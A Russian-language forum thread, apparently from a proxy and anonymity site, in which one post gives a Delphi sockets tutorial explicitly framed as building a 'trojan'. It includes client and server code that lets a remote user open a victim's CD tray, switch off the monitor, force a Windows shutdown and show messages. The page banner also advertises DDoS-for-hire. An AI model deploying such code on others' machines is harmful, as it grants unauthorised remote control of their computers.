Пример client-server app в delphi - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Все инфопродукты и приватная информация бесплатно
Старый 20.06.2013, 15:41   #1 (permalink)
HTTP
 
Аватар для HaHaTun
 
Регистрация: 17.06.2013
Сообщений: 7
Member ID: 33880

Репутация: 18
Репутация: 18
Сказал(а) спасибо: 1
Поблагодарили 6 раз(а) в 2 сообщениях
Топикстартер (автор темы) По умолчанию Пример client-server app в delphi

Авторство не моё. будет полезно изучающим socket в Delphi
И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" .
Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает.

CLIENT

Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo".

теперь у формы в событии OnGreate пишим
Код:
cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1
cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт
теперь у в обработчике собития OnClick кнопки "Коннект" пишем код
Код:
var s:string;
 begin
 cs.Active:=true; //Коннектимся
 if cs.Socket.Connected=true then begin //Если подключились то
 memo1.lines.add('Соединение установленно...'); //пишим в memo
 end else //в противном случае пишим это
 memo1.lines.add('Соединение неустановленно...'); //<--вот это
теперь у кнопки "Дисконнект"
Код:
cs.Close; //Закрываем сокет
memo1.lines.add('Соединение закрыто!'); //пишим в memo
теперь у кнопки "Открыть сидюк"
Код:
cs.Socket.SendText('CDOPEN');//посылаем серверу комманду CDOPEN
(остальные кнопки делаем по анологии. список команд описан в части "сервер")

Ну вот впринципе и всё, с клиентом поконченно, компилируем CTRL+f9!

SERVER

На форму кидаем serversocket с вкладки internet
У формы в событии OnGreate пишем
Код:
serversocket1.port:=123;//Назначаем порт
serversocket1.active:=true//начинаем слушать порт
Теперь у компонента serversocket1 в событии cliendread пишем код
Код:
var s:string; //обьявляем переменную в которой будут храниться данный которые пришли от клиента
 begin
 s:=socket.ReceiveText; //присвиваем переменной s текст который пришёл от клиента
 if s='CDOPEN' then //если CDOPEN то открыть сидюк
 mciSendString('Set cdaudio door open wait', nil, 0, handle);
 if s='CDCLOSE' then //если CDCLOSE значит закрыть сидюк
 mciSendString('Set cdaudio door closed wait', nil, 0, handle);
 if s='MONIKOFF' then //Если пришла комманда MONIKOFF значит вырубаем монитор
 SendMessage(form1.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
 if s='FORCE' then //Если пришла комманда FORCE то вырубаем комп
 ExitWindowsEx(EWX_FORCE or ewx_force,0);
 if copy(s,1,3)='MSG' then //копируем первые 3 символа, если они равняються коммане MSG значит вывести мессагу
 Messagebox(0,pchar(copy(s,4,length(s))),'Message',0);
Всё- сервер готов, теперь компилируете- запускаете сервер, клиент- коннектитесь и тестите!

сырок во вложении
Вложения
Тип файла: rar .rar (339.8 Кб, 2 просмотров)

Последний раз редактировалось HaHaTun; 20.06.2013 в 15:53.
HaHaTun вне форума   Ответить с цитированием
Старый 26.06.2013, 02:45   #2 (permalink)
HTTP
 
Аватар для Desterion
 
Регистрация: 26.12.2012
Сообщений: 6
Member ID: 33384

Репутация: 9
Репутация: 9
Сказал(а) спасибо: 6
Поблагодарили 3 раз(а) в 3 сообщениях
По умолчанию Re: Пример client-server app в delphi

Что то знакомое или я не прав???
Desterion вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Delphi. Пример работы с RDP без использования tss Dizz Программирование 56 01.11.2013 01:37
Пример создания дорвея по технологии Бабулера на базе Доргена andryha64 xvostik Мануалы 0 22.01.2013 23:25
SpeedFly Client v4.5.1.14 chibis SOFT (Варезник) 2 13.08.2011 13:34
Socks tester Gold For server By Saeed.Server amphetamine Proxy SOFT 0 04.04.2010 23:21
Vkonakte-Client NTR Cоциальные сети 2 08.02.2010 21:46




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.